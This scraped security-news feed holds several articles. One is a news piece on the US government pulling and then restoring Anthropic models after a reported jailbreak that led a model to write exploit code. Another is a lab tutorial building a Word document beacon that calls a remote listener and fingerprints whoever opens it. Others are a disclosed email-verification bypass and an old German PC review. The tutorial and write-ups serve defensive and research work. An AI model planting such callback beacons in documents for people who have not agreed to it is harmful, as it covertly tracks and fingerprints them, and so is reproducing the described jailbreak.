    • June 13–25, 2026: Enterprise users and developers face abrupt disruption, forcing workflows that had adopted Fable 5 or Mythos 5 to fall back to older models such as Opus 4.8. Tensions peak as Anthropic publicly objects, arguing that pulling a major commercial model over a narrow jailbreak finding could “essentially halt all new model deployments for all frontier model providers.”

    • June 26, 2026: The U.S. government allows Anthropic to restore Mythos 5 access to a set of trusted U.S. organizations, partially reversing the June 12 order. Anthropic says it is restoring access for those organizations and continuing to work with the government to expand Mythos 5 access and make Fable 5 generally available again.

    • June 30, 2026: Commerce Secretary Howard Lutnick sends a letter withdrawing the June 12 export-control license requirement for both Mythos and Fable. The decision removes the emergency legal block, but Anthropic’s rollout still treats the models differently: Fable 5 returns globally, while Mythos 5 remains limited to approved users through Glasswing and related trusted-access channels.

    The Technical Catalyst: The Amazon Vulnerability Report

    The swift intervention by the federal government stemmed from a report by Amazon researchers describing a method for bypassing Fable 5’s safeguards. This was a brutal irony for Anthropic, given Amazon was one of the startup's initial and largest backers to the tune of $8 billion, and the two companies previously collaborated on improving Amazon's Alexa+ voice assistant.

    According to Anthropic, the technique prompted Fable 5 to identify software vulnerabilities; in one case, the model produced code demonstrating how the relevant vulnerability could be exploited.

    When the report reached government officials, it triggered alarm regarding the offensive cyber capabilities of public LLMs. Anthropic countered that the exploit did not tap into unique “Mythos-level” cyber capabilities, noting that its own testing found other models — including Claude Opus 4.8, OpenAI’s GPT-5.5, and Moonshot’s Kimi K2.7 — could identify the same vulnerabilities. Anthropic also said every model it tested could produce the same exploit demonstration as Fable 5.

    To break the regulatory logjam, Anthropic developed an improved automated safety classifier specifically trained to catch and neutralize the Amazon technique. Tested by the Commerce Department’s Center for AI Standards and Innovation (CAISI), the updated classifier successfully halts that specific technique in more than 99% of cases.

    Anthropic explicitly warns enterprise clients that this safety enforcement comes at an operational cost. Because the new classifiers require an expanded “safety margin” to catch ambiguous edge cases, benign coding and debugging requests may be flagged more often. When a prompt is blocked by the safety layer, the active session automatically downgrades, routing the request to Opus 4.8.

    Backroom Diplomacy: The Shifting of the Guard

    The breakthrough that brought Fable 5 back to commercial markets was as much political as it was technical. According to WIRED, Anthropic initially argued that the administration’s security concerns were overblown and that no frontier model provider could guarantee zero jailbreaks.

    That argument frustrated the administration, according to WIRED’s reporting. In recent weeks, Anthropic changed tack, focusing less on the theoretical impossibility of eliminating jailbreaks and more on building stronger safeguards and satisfying the government’s operational concerns.

    WIRED reported that Anthropic CEO Dario Amodei was recently replaced in meetings by Brown, whom officials liked more personally. Brown is also the addressee of Lutnick’s June 30 Commerce letter.

    Under Brown’s guidance, Anthropic appears to have moved from arguing over the absolute limits of model safety to committing to the expanded safeguards and collaboration framework the administration demanded.

    The resulting Commerce letter describes several commitments by Anthropic. Under the terms of the clearance, Anthropic has agreed to:

    1. Proactively detect and address security risks associated with the models.

    2. Work with the U.S. government on protocols, standards and releases for Mythos, Fable and future models.

    3. Inform the U.S. government of malicious activity.

    Separately, Anthropic says it will expand pre-release government access and evaluation for frontier models, share information rapidly when significant jailbreaks or misuse patterns are identified, dedicate resources to joint government research and work toward a common industry security bar.

    The U.S. Commerce Department explicitly reserved the right to re-evaluate these permissions and re-impose license requirements if circumstances change or if Anthropic fails to meet its commitments.

    The Sovereign Calculus: Lessons for Enterprise AI

    The two-week blackout of Claude Fable 5 exposed the fragility of centralized, closed-API models for modern business infrastructure. It showed that enterprise automation pipelines remain vulnerable to sudden regulatory shifts and vendor compliance mandates.

    The tech community’s response highlights a broader push toward hardware and model sovereignty. Following the initial shutdown, prominent tech figures voiced concerns over this centralization. AI founder Alex Finn described the Anthropic freeze as a major “wakeup call,” urging developers to invest heavily in local, open-weights infrastructure to insulate operations from federal volatility. As Finn noted on social media:

    “No company or government will EVER be able to take away your local models.”

    For enterprise architects, the return of Fable 5 demands a balanced approach to deployment:

    • The Frontier Performance Advantage: Utilizing closed models like Fable 5 offers state-of-the-art capabilities across agentic coding, long-context work, document reasoning and multi-step enterprise automation, according to Anthropic’s launch materials and early customer examples.

    • The Mitigating Data Trade-Off: Accessing Fable 5 means accepting Anthropic’s mandatory 30-day data retention requirement for covered models. Anthropic says prompts and model completions are retained for at least 30 days by default and then automatically deleted, except when they are part of a safety investigation or must be kept for legal reasons. Highly regulated financial, healthcare and legal groups must evaluate whether this telemetry window complies with their data privacy mandates.

    The truth is, enterprises in the U.S. and globally have more options than ever for frontier-class LLMs, especially with the recent launch over the last few months of new, powerful, open weights Chinese alternatives that can be downloaded, run locally or on virtual private clouds, and customized to an enterprise's liking.

    MiniMax M3 pairs frontier-tier coding and agentic performance with a 1 million-token context window and native multimodality. Z.ai’s GLM-5.2's benchmark results exceed OpenAI's GPT-5.5 on SWE-bench Pro and several long-horizon coding tests, and near Claude Opus 4.8 on FrontierSWE and MCP-Atlas. Meituan’s LongCat-2.0 is also positioned around enterprise use, with a 1 million-token context window, MIT licensing and strong early developer traction through its Owl Alpha run on OpenRouter — though as we reported, the full weights are still listed as “coming soon.”

    Meanwhile, Anthropic's top domestic rival OpenAI is still struggling to release its latest models broadly due to U.S. government pressure. The company says its newest and most powerful models, GPT-5.6 Sol, Terra and Luna — unveiled last week — are starting in a limited preview for a small group of trusted partners after OpenAI previewed the models and their capabilities to the U.S. government and the government requested the rollout be staggered.

    OpenAI says it still plans broader availability, but argued in its announcement that this kind of staggered rollout at the government's request "should become the long-term default. It keeps the best tools from users, developers, enterprises, cyber defenders, and global partners who need them. We are taking this short-term step because we believe it is the strongest path to broader availability in the coming weeks, while we work with the Administration to develop the cyber Executive Order framework and a repeatable process for future model releases."

    The executive order in question, signed by President Donald J. Trump on June 2, 2026, calls upon various federal agencies to collaborate on a process for benchmarking and assessing capabilities of new AI models to ensure they are safe and appropriate for wide release, a process supposed to take 30 days (which would seem to indicate the agencies are due to provide their process tomorrow, July 2, 2026.)

    Frontier model launches are starting to look less like ordinary product releases and more like negotiated deployments shaped by U.S. national security review — a shift that could slow American distribution even as Chinese competitors move aggressively through open-weight and lower-cost channels

    To safeguard operations against future regulatory lockouts, enterprise technical leaders are moving toward model-agnostic fallback architectures.

    By deploying proxy layers that can dynamically reroute critical production pipelines from proprietary APIs to locally hosted, open-weights alternatives, businesses can leverage top-tier capabilities without exposing themselves to single-point-of-failure vulnerabilities.

    Fable 5 is officially back online, but the landscape governing its release has been fundamentally transformed.

    ]]>         <![CDATA[Ten Years in the SOC at RSAC: What We Learned in 2026]]> https://tsecurity.de/de/3638964/it-security-nachrichten/ten-years-in-the-soc-at-rsac-what-we-learned-in-2026/ https://tsecurity.de/de/3638964/it-security-nachrichten/ten-years-in-the-soc-at-rsac-what-we-learned-in-2026/ Wed, 01 Jul 2026 17:25:15 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Beyond Canarytokens: Building a DIY Document Tripwire with Passive OS Fingerprinting]]> https://tsecurity.de/de/3638151/hacking/beyond-canarytokens-building-a-diy-document-tripwire-with-passive-os-fingerprinting/ https://tsecurity.de/de/3638151/hacking/beyond-canarytokens-building-a-diy-document-tripwire-with-passive-os-fingerprinting/ Wed, 01 Jul 2026 12:21:50 +0200 🕵️ Hacking tsecurity.de Canarytokens are useful, but rebuilding the primitive by hand shows what the callback really means — and how passive OS fingerprinting can enrich CTI, pentest, and red team analysis.

    At first, I thought Canarytokens were the whole story: generate a token, place it somewhere interesting, wait for the alert, and use the callback as an early signal. That is already valuable, especially for security teams that need lightweight tripwires in places where suspicious interaction should never happen.

    But during my lab, I wanted to understand what was happening underneath the alert. What actually happens when a document calls home? What can we learn from the request before turning it into an intelligence conclusion? And, more importantly, what context can we collect that a standard Canarytoken alert may not clearly provide?

    That question changed the direction of the experiment. This was no longer only about creating a simple canary. It became a small CTI and red team reconnaissance lab built around a document callback, a Python listener, HTTP headers, User-Agent analysis, source IP observation, and one extra layer that made the exercise much more interesting: passive operating system fingerprinting with p0f.

    The goal was not to replace Canarytokens. They are excellent for quick operational alerting. The goal was to rebuild the primitive by hand, understand the signal, and enrich it with information that can help CTI, pentest, and red team teams during authorized investigations and security assessments.

    What Canarytokens Give You — and Why I Wanted More

    Canarytokens are great because they are simple. You place a token in a document, link, credential, folder, repository, or cloud resource, and if something interacts with it, you get an alert. For many teams, that is already enough to start asking better questions.

    A triggered token may show that a document was opened, a fake credential was tested, a decoy link was visited, or a resource that should have stayed untouched was accessed. In CTI, pentest, and red team work, this kind of signal can be extremely useful because it creates visibility where there would normally be silence.

    But there is a limitation. A standard callback usually gives you information such as the time of the request, the source IP, the token type, and some request metadata. That is useful, but it does not always tell you what kind of system touched the resource. Was it a Windows endpoint? A Linux sandbox? A proxy? A scanner? An email security gateway? A browser preview engine? A security product detonating the document before the user ever saw it?

    This matters because the same callback can mean very different things depending on the infrastructure behind it. A request from a corporate endpoint, a cloud sandbox, a NAT gateway, or a security inspection service should not be interpreted the same way.

    That was the gap I wanted to explore.

    Building the DIY Document Tripwire

    This lab has three main components. First, we create a Python HTTP listener that receives the callback and logs metadata. Second, we create a Word document that requests a remote transparent pixel. Third, we run p0f to passively observe the connection and attempt to infer operating system characteristics.

    This is not production infrastructure and it is not a replacement for Canarytokens. It is a learning lab for authorized environments. The purpose is to understand the primitive, enrich the signal, and practice interpretation without overclaiming.

    The goal is security intelligence, not covert surveillance.

    Step 1: Create the Python Listener

    The first part of the lab is a small HTTP server. Its job is to receive a GET request, print useful metadata, and return a transparent 1x1 PNG. This simulates the basic behavior of a document callback.

    Objective: receive the document callback and log the HTTP metadata.

    #!/usr/bin/env python3
    from http.server import BaseHTTPRequestHandler, HTTPServer
    from datetime import datetime
    import base64# Transparent 1x1 PNG pixel
    PIXEL = base64.b64decode(
        "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+/p9sAAAAASUVORK5CYII="
    )
    class Handler(BaseHTTPRequestHandler):
        def log_message(self, fmt, *args):
            return
        def do_GET(self):
            print("\n" + "=" * 70)
            print("[+] Callback received:", datetime.now().isoformat())
            print("[+] Source IP:", self.client_address[0])
            print("[+] Path:", self.path)
            print("[+] User-Agent:", self.headers.get("User-Agent"))
            print("[+] Headers:")
            for k, v in self.headers.items():
                print(f"    {k}: {v}")
            self.send_response(200)
            self.send_header("Content-Type", "image/png")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PIXEL)
    if __name__ == "__main__":
        host = "0.0.0.0"
        port = 8080
        print(f"[+] Listening on http://{host}:{port}/pixel.png")
        HTTPServer((host, port), Handler).serve_forever()

    Run the server with:

    python3 server.py

    If everything works, the server should start listening on port 8080:

    [+] Listening on http://0.0.0.0:8080/pixel.png

    If it fails, the first thing to check is whether another process is already using the port:

    sudo ss -lntp | grep 8080

    At this point, we have the application-layer listener. It can show us the source IP as seen by the server, the requested path, the User-Agent, and all HTTP headers. That is useful, but still incomplete. We now need another layer of observation.

    Step 2: Add p0f for Passive OS Fingerprinting

    The Python listener tells us what the HTTP request looks like. p0f helps us observe the TCP/IP behavior passively. This is important because headers can be manipulated or generated by intermediate systems, while passive fingerprinting may provide another hint about what kind of system is interacting with the listener.

    p0f does not ask the remote machine what it is. It quietly observes how the machine builds its TCP packets — things like window size, TTL, MSS, TCP options, option order, timestamps, and other small implementation quirks. Then it compares those patterns against known fingerprints to infer the likely operating system.

    Again, this does not create certainty. It creates context. That distinction matters.

    Objective: passively observe the connection and attempt to infer operating system characteristics.

    Install p0f:

    sudo apt install -y p0f

    Then run it on the interface that will receive the callback. In my example, the interface is ens3, but yours may be different:

    sudo p0f -i ens3 -o /tmp/p0f_local.log 'tcp port 8080'

    The expected result is that p0f writes passive fingerprinting observations to:

    /tmp/p0f_local.log

    If p0f does not capture anything, verify the interface name:

    ip a

    Depending on your environment, the interface may be eth0, ens3, tun0, wlan0, or another name. If you are testing across a VPN, virtual machine, cloud host, or lab network, make sure p0f is listening on the interface that actually receives the traffic.

    Now the lab has two layers. The Python server captures the application layer, while p0f observes the network layer. This allows us to compare what the client claims through HTTP with how the connection appears to behave on the wire.

    That comparison is where the investigation becomes more interesting.

    Step 3: Make the Word Document Call Home

    For the document callback, I used a Word field that references the remote image. The detail that usually causes problems is that Word field braces are special. You cannot type them manually. Word must create them.

    Objective: make the Word document request the remote pixel from the Python listener.

    Open Microsoft Word, place the cursor where you want the field to be inserted, and press:

    Ctrl + F9

    Word will create special field braces:

    {  }

    Inside those braces, insert the INCLUDEPICTURE field pointing to your listener:

    INCLUDEPICTURE "http://IP:8080/pixel.png" \d

    The final field should look like this:

    { INCLUDEPICTURE "http://IP:8080/pixel.png" \d }

    Then update the field by pressing:

    F9

    You can also select the whole document and update fields with:

    Ctrl + A
    F9

    If everything works, the document requests the remote pixel, the Python listener logs the callback, and p0f observes the connection. You now have a small canary-like lab that captures both HTTP metadata and passive network-layer context.

    If it fails, do not immediately assume the technique is broken. Check whether the Python server is running, whether the Word machine can reach the listener, whether port 8080 is allowed, whether Word is blocking external content, whether the file is in Protected View, whether the field braces were created correctly, and whether a proxy, sandbox, or security gateway is changing the behavior.

    A failed callback can still be a finding. If external content is blocked, that may indicate good hardening. If the callback comes from a sandbox instead of the endpoint, that reveals inspection. If it comes directly from the endpoint, that tells a different story about egress and document handling.

    🚀 If this helped you rethink threat attribution, follow me for more practical cybersecurity lessons from labs, tabletop exercises, red team thinking, and defensive analysis.

    If this helped you rethink Canarytokens, drop a comment with what you would enrich first in your own lab: HTTP headers, proxy logs, EDR telemetry, DNS logs, p0f fingerprinting, or SIEM correlation.

    Beyond Canarytokens: Building a DIY Document Tripwire with Passive OS Fingerprinting was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[How I Found an Email Verification Bypass on an AI Freelance Platform]]> https://tsecurity.de/de/3638143/hacking/how-i-found-an-email-verification-bypass-on-an-ai-freelance-platform/ https://tsecurity.de/de/3638143/hacking/how-i-found-an-email-verification-bypass-on-an-ai-freelance-platform/ Wed, 01 Jul 2026 12:21:40 +0200 🕵️ Hacking tsecurity.de A simple implementation flaw allowed email verification to be completed without ever opening the verification email.

    A few weeks ago, I was browsing LinkedIn looking for freelance opportunities when I came across an AI-powered platform looking for freelancers. The platform looked interesting, so I decided to create an account and see how everything worked.

    This wasn’t a bug hunting session. I was simply signing up as a normal user.

    That said, I have one habit that’s hard to get rid of.

    Whenever I register on a new website, I usually keep Chrome DevTools open and watch the network traffic. It’s something I’ve been doing for years, partly out of curiosity and partly because it helps me understand how an application is built.

    Sometimes I don’t find anything interesting.

    Sometimes I learn how the application works.

    And occasionally… I find something the developers didn’t intend.

    This turned out to be one of those occasions.

    Responsible Disclosure

    Before we dive into the technical details, here’s a quick note.

    I responsibly reported this issue to the platform’s security team. The report was acknowledged, and the issue has since been fixed.

    To avoid exposing the affected platform, I’ve redacted its name, domain, screenshots, and any other identifying information throughout this article.

    Interestingly, while investigating this issue, I also came across another security weakness. That’s a story for another day.

    Looking at the Registration Flow

    For the registration, I used a temporary email address. I usually do this when trying a new service, especially if I’m not sure whether I’ll continue using it.

    Before clicking Sign Up, I opened Chrome DevTools and switched to the Network tab.

    More specifically, the Fetch/XHR requests.

    Once the registration completed, I started reviewing the requests and responses generated by the application.

    Most of the traffic looked exactly as I’d expect.

    The registration request returned basic account information, a few status fields, and something else.

    The token value was clearly a JWT.

    At this point, nothing looked particularly suspicious.

    Many modern applications automatically authenticate users immediately after registration, so returning a JWT isn’t unusual. Depending on the application’s architecture, it can be a perfectly valid design choice.

    I simply made a mental note of it and continued observing the registration flow.

    A few seconds later, the verification email arrived.

    Like most verification emails, it contained a button that pointed to a URL similar to this:

    https://[REDACTED]/verify-email?token=<JWT>

    Again, nothing unusual.

    Until I looked a little closer.

    The token inside the verification URL looked very familiar.

    I went back to the registration response, copied both values, and compared them.

    They were exactly the same.

    That immediately raised a simple question.

    If I already have this token from the registration response, do I actually need the verification email?

    The only way to answer that question was to test it.

    So I registered another account.

    Testing the Hypothesis

    Rather than clicking the verification link from the email, I decided to repeat the registration process using another temporary email address.

    The goal was simple.

    Could I verify the account without ever opening the verification email?

    After registering the second account, I watched the registration response again and copied the JWT returned by the API.

    This time, I completely ignored the inbox.

    Instead, I manually constructed the verification URL using the same format I had seen in the email.

    https://[REDACTED]/verify-email?token=<JWT>

    I pasted the URL into the browser and pressed Enter.

    The account was verified immediately.

    At that point, the hypothesis was confirmed.

    The verification email wasn’t actually required.

    As long as the registration response exposed the same JWT used by the verification endpoint, anyone registering an account already possessed everything needed to verify it.

    The email merely contained information the client had already received.

    Why This Happened

    It’s important to point out that the problem wasn’t JWT itself.

    JWT (JSON Web Token) is widely used across modern web applications for authentication and securely transmitting signed information between systems.

    Returning a JWT after registration is also not inherently insecure. Many applications automatically sign users in immediately after creating an account.

    The issue here was much simpler.

    The application reused the same token for two different purposes.

    The JWT returned by the registration API was also accepted by the email verification endpoint.

    As a result, the verification email stopped being the source of trust.

    Instead of proving ownership of the mailbox, the application trusted information that had already been provided during registration.

    In other words, email verification became an optional step rather than a security control.

    How Email Verification Should Work

    The goal of email verification is simple:

    Prove that the person creating the account actually has access to the registered email address.

    A typical email verification flow looks like this:

    Notice where the verification token comes from.

    The only intended source of the verification token is the user’s inbox. If someone can’t access the mailbox, they shouldn’t be able to obtain the token, and therefore shouldn’t be able to verify the account.

    Now compare that with what happened in this case.

    Instead of acting as proof of email ownership, the verification email simply duplicated information that had already been exposed during registration.

    Once that happened, the verification process no longer answered its original security question:

    “Does this user actually control the registered mailbox?”

    Instead, it became:

    “Does this user still have the JWT that was already returned during registration?”

    Those are two very different security guarantees.

    Security Impact

    At first glance, this might look like a minor implementation mistake.

    After all, the attacker is only verifying their own account.

    However, the real issue is the broken trust model.

    Once the application accepts a verification token that users already possess, it no longer verifies ownership of the email address.

    That can have several consequences depending on how the platform uses verified email addresses.

    For example:

    • Users can verify accounts without ever accessing the registered mailbox.
    • Fake or disposable email addresses become much easier to use.
    • Any feature that assumes a verified email belongs to its owner can no longer rely on that assumption.
    • Future workflows built on the “verified” status inherit the same broken trust model.

    The impact ultimately depends on the application.

    Some platforms only use email verification to reduce spam.

    Others use it as a prerequisite for password recovery, identity checks, invitations, financial transactions, or access to sensitive features.

    Regardless of the specific implementation, the underlying guarantee remains the same:

    A verified email address should mean the user has demonstrated ownership of that mailbox.

    In this case, that guarantee no longer existed.

    Lessons Learned

    One thing I enjoy about application security is that interesting findings don’t always come from sophisticated techniques.

    This wasn’t the result of automated scanning.

    It wasn’t discovered with Burp Suite extensions, custom tooling, or fuzzing.

    In fact, the only tools I used were:

    • A web browser
    • Chrome DevTools
    • A temporary email service
    • Curiosity

    The vulnerability wasn’t hidden behind dozens of requests or a complicated authentication flow.

    It was visible in plain sight.

    All it took was slowing down, observing the application’s behavior, and asking a simple question:

    Do I actually need the verification email?

    That question led to a business logic flaw that made email verification optional.

    It’s a good reminder that application security isn’t always about finding clever payloads or bypassing complex filters.

    Sometimes it’s about understanding what a feature is supposed to achieve, then verifying whether the implementation actually delivers that security guarantee.

    Final Thoughts

    As developers, we often focus on whether a feature works.

    As security researchers, we also need to ask whether it works securely.

    In this case, the registration flow appeared to function perfectly.

    Users received a verification email.

    The verification link worked.

    Accounts became verified.

    From a functional perspective, everything looked correct.

    From a security perspective, however, the email had stopped serving its original purpose. The application trusted a token that had already been exposed during registration, making the inbox irrelevant to the verification process.

    This is exactly why business logic vulnerabilities can be so easy to miss.

    Nothing crashes.

    No error messages appear.

    No scanners raise an alert.

    The application behaves exactly as expected — until someone asks whether the security assumption behind the feature still holds.

    Thanks for reading!

    If you’re a developer, I hope this write-up encourages you to look beyond whether a feature works and think about what security guarantee it’s supposed to provide.

    And if you’re interested in bug bounty or application security, remember that you don’t always need advanced tools to find meaningful vulnerabilities.

    Sometimes, Chrome DevTools, careful observation, and a bit of curiosity are more than enough.

    Happy hacking! 🚀

    How I Found an Email Verification Bypass on an AI Freelance Platform was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[Vor 20 Jahren: PC-WELT präsentiert die erste Höllenmaschine]]> https://tsecurity.de/de/3637836/it-nachrichten/vor-20-jahren-pc-welt-praesentiert-die-erste-hoellenmaschine/ https://tsecurity.de/de/3637836/it-nachrichten/vor-20-jahren-pc-welt-praesentiert-die-erste-hoellenmaschine/ Wed, 01 Jul 2026 10:33:23 +0200 📰 IT Nachrichten tsecurity.de

    Hinweis: Dieser Artikel erschien am 7. Januar 2006 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen.

    Hier geht es direkt zum Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro. Bestens informiert bleiben Sie mit unserem HMX-6-Newsletter. Und nun viel Spaß mit der ersten Höllenmaschine:

    Das RĂźckgrat der HĂśllenmaschine bildet die Tyan-Hauptplatine Tiger K8WE mit Nvidia-Chipsatz Nforce Pro 2200. Das Rechenherz besteht aus zwei AMD Opteron 280. Die Server-CPUs beherbergen je zwei Prozessorkerne Ă  2,4 GHz, wobei jeder Kern auf 1 MB L2-Cache zurĂźckgreift. Sechs Gigabyte PC400-DDR-SDRAM des Typs Corsair CM72SD1024RLP-3200 kann der High-End-PC dank Windows XP Professional 64-Bit Edition komplett ansprechen. Das Betriebssystem unterstĂźtzt Ăźbrigens einen maximalen Ausbau von 128 GB.

    Die vier 500-GB-Festplatten Seagate ST3500641AS mit S-ATA-II-Schnittstelle bieten im Raid-0+1-Verbund ein knappes Terabyte nutzbare Kapazität im schnellen Raid-0-Modus bei voller Raid-1-Datensicherheit. Das Quartett beherrscht alle modernen Festplattenfunktionen wie beispielsweise Native Command Queuing (NCQ). Das erlaubt der Festplatte, die vom PC geforderten Zugriffe selbstständig zu verwalten. Sie kann so die optimale Reihenfolge der Zugriffe ermitteln: Das spart zusätzliche Drehbewegungen und verkürzt die Wegstrecken, die der Schreib-/Lesekopf zurücklegen muss. Hinzu kommen die zwei Ultra-DMA/100-Platten Seagate ST3400832A mit je 400 GB. Eigentlich hätten wir gerne die drei Terabyte vollgemacht, leider waren die 500-GB-Platten mit paralleler Schnittstelle zum Testzeitpunkt nicht lieferbar – aber eine nutzbare Gesamtkapazität von 1675 GB sollte erst einmal reichen.

    Die Bildausgabe übernimmt das Grafikkartenduo Evga E-Geforce 7800 GTX Blackpearl 512 MB im SLI‑Verbund. Die Karten sind bereits ab Werk übertaktet und laufen mit einem Chip- und Speichertakt von 600 respektive 900 (effektiv 1800) MHz und greifen auf jeweils 512 MB DDR3-Grafik-RAM zurück. Insgesamt 48 Pixel- und 16 Vertex-Shader kümmern sich um die 3D-Berechnung.

    Ideal fßr das Auslesen von Rohdaten ist der Plextor-DVD-Brenner PX-716A . Zudem lässt sich mit den beiliegenden Plextools die Brennqualität anhand von acht Parametern prßfen. Da ist der DVD-Brenner LG Electronics GSA-4166B eine prima Ergänzung: Er beherrscht sämtliche DVD-Formate und die Lightscribe-Technik. Fßr knackigen Raumklang sorgt die Terratec Aureon 7.1 Universe . Dank Break-Out-Box sind alle Anschlßsse der Soundkarte bequem ßber die Frontseite erreichbar.

    Auch fernsehen kÜnnen Sie mit unserer HÜllenmaschine. Dabei lässt Ihnen die Terratec Cinergy Hybrid T USB XS die Wahl, ob dies digital ßber DVB-T oder analog geschieht. Alle Komponenten haben wir in den Big Tower Chieftec BA-01B-B-SL verfrachtet. Und Logitechs Cordless Desktop MX5000 Laser stellt sicher, dass auch die Eingabe bequem und schnell von der Hand geht.

    Ausstattung der ersten Höllenmaschine im Überblick

    KomponenteModellPreis (Euro) am 1.7.2006
    HauptplatineTyan Tiger K8WE S2877 mit Nvidia-Chipsatz Nforce Pro 2200300
    Prozessor2 x AMD Opteron 280 Dual-Core3100
    Speicher6 x 1 GB Corsair registered PC400 ECC CL3900
    Grafik2 x EVGA Nvidia Geforce 7800 GTX 512 MB im SLI-Modus1360
    SoundTerratec Aureon 7.1 Universe140
    Festplatten4 x 500 GB Seagate Barracuda 7200.9 SATA II, Raid 0+11400
    2 x 400 GB Seagate Barracuda 7200.8 PATA460
    DVD-BrennerLG Electronics GSA-4166B90
    Plextor PX-716A110
    TV-TunerTerratec Cinergy Hybrid T USB XS, DVB-T und analog130
    GehäuseChieftec Big Tower BA-01B-B-SL130
    WasserkĂźhlungInnovatek passive Konvekt-O-Matic Ultra mit Dual Radiator und 2 CPU-, 2 Grafikchip- und 6 FestplattenkĂźhler1170
    NetzteilEnermax EG851AX-VH(W) 660W250
    SensorikInnovatek Fan-O-Matic PRO200
    BetriebssystemMicrosoft Windows XP Professional 64-Bit Edition140
    EingabegeräteLogitech Cordless Desktop MX5000 Laser130


    Cool bleiben: WasserkĂźhlung fĂźr alle HitzkĂśpfe

    Bereits im Ruhezustand saugt unsere Höllenmaschine gut 340 Watt aus dem Netzteil. Die exorbitante Verlustleistung lässt sich mit AMDs Energiesparmodus Powernow immerhin auf knapp 280 Watt drücken. Dazu war ein BIOS‑Update von Version 1.02 auf 1.03 notwendig. Erst dann können Sie die Energiesparoption im BIOS aktivieren. Unter Last sind es in der Spitze allerdings bis zu 585 Watt – gemessen während des Quake-4-Benchmarks im SMP‑1-Modus –, ein kraftvolles Netzteil ist für den stabilen Betrieb daher Pflicht. Wir haben uns für das 660-Watt-Netzteil Enermax EG851AX-VH(W) 660W entschieden.

    Das Netzteil hat allein vier 12‑Volt-Versorgungsleitungen, die zusammen 40 Ampere bei maximal 480 Watt zur Verfügung stellen. Die 3,3- respektive 5-Volt-Stromschiene liefert bis zu 38 beziehungsweise 42 Ampere. Damit erfüllt das 660-Watt-Monster locker die hohen Anforderungen für den SLI-Betrieb von Nvidias Spitzengrafikchips. Die beiden temperaturgesteuerten 80‑Millimeter-Lüfter sind – obwohl sie kaum hörbar rotieren – gleich nach dem Betriebsgeräusch der DVD-Brenner die lautesten Komponenten unserer Höllenmaschine.

    Bei der hohen Leistungsaufnahme ist eine gute Kßhlung der hitzigsten Komponenten geboten. Diese Aufgabe ßbernimmt die Innovatek-Wasserkßhlung mit passivem Konvekt-O-Matic Ultra und Dual Radiator. Das Hochleistungskßhlsystem leitet die Abwärme des CPUs- und Grafikkarten-Duos sowie der sechs Festplatten fast lautlos ab.

    HĂśllenmaschine 1 aus dem Jahr 2006

    PC-WELT

    Eine hervorragende Wärmeleitfähigkeit hat die Bodenplatte des CPU-Kühlers Innovatek XX-Flow rev2.0. Sie besteht aus vernickeltem Reinstkupfer. Prototyp: Eine verbesserte Version des Grafikchipkühlers Cool-Matic G70 kommt bei den brandneuen Nvidia-GPUs zum Einsatz – schließlich gilt es, insgesamt ein Gigabyte Grafikspeicher effektiv zu kühlen.

    Für die Systemüberwachung zeichnet der Fan-O-Matic PRO – USB von Innovatek verantwortlich. Er verfügt über 31 Aus- und Eingänge und kontrolliert in unserem Super-PC unter anderem die Temperatur der CPUs, Grafikchips und Festplatten sowie Kühlungsparameter wie Wärmeaustausch und Flussleistung. Zudem besitzt der Steuercomputer einen komplexen Timer, etwa für die Fernwartung. Für die Farbuntermalung sorgen zwei Leuchtkörper, die den PC in einen roten und einen blauen Bereich unterteilen.

    Messwerte empfängt der Fan-O-Matic PRO USB beispielsweise vom ESV Inline-Wassertemperaturfßhler, der in unserem Superrechner an zwei Stellen die Temperatur der Kßhlflßssigkeit (destilliertes Wasser und Korrosionsschutzflßssigkeit im Verhältnis 4 : 1) bis auf eine Nachkommastelle genau ermittelt. Die Durchflussmessturbine FlowMeter rev2.0 hingegen misst bis auf zwei Nachkommastellen die Durchflussgeschwindigkeit der Wasserkßhlung in Litern pro Minute, bevor es in den Ausgleichsbehälter und zur Pumpe geht.

    Benchmark-Ergebnisse: Anwendungs-Software

    Ihre volle Rechenkraft kann unsere HÜllenmaschine bei Programmen ausspielen, die mehrere Aufgaben parallel abarbeiten und von 64-Bit-Betriebssystemen profitieren: So war der Super-PC beispielsweise beim Rendering-Test der 32-Bit-Version von Cinebench 2003 fast 80 Prozent flotter als der bisher schnellste Prozessor in dieser Disziplin, der Athlon X2 4800+. Und mit der 64-Bit-Version des Rendering-Tests rechnete unser Mega-PC nochmals gut 21 Prozent schneller.

    Aber auch wenn mehrere Programme gleichzeitig laufen, ist unser Superrechner hÜllisch schnell. Das zeigt eindrucksvoll unser Multimedia-Benchmark, das Programme wie Avi2mpg, Excel, Photopaint, Winrar und Word gleichzeitig schuften lässt. Sage und schreibe fast vierzehn Mal so flott wie der bisher schnellste PC in diesem Test, der Dell Dimension 9100 mit Zwei-Kern-CPU Pentium D 830, flitzte unser Megarechner durch das Multitasking-Szenario.

    Anwendungs-Benchmarks

    Benchmark32 Bit64 Bit
    3D Mark 03 (3D-Marks)31395nicht mĂśglich
    3D Mark 05 (3D-Marks)12026nicht mĂśglich
    Cinebench 2003 (Punkte)
    Rendering 1 CPU339437
    Rendering X CPUs10961329
    C4D Shading381370
    Open GL SW18561644
    Open GL HW35262357
    Lame-Encoder 3.97a (Sekunden)2218
    Nero Recode 2.2.7.2 (Sekunden)509nicht mĂśglich
    PC-WELT-Benchmark Multimedia (Punkte)2299nicht mĂśglich
    POV-Ray 3.6 (Pixel/s)93117

    Benchmark-Ergebnisse: Spiele

    Zur 3D-Leistung: Dank des SLI-Gespanns von EVGA verfßgt die HÜllenmaschine ßber eine enorme Grafikpower. Mit den Standardeinstellungen erreichte unser Rechner satte 12.026 Punkte im 3D Mark 05. Auch nicht von schlechten Eltern sind die 31.395 Punkte im 3D Mark 03.

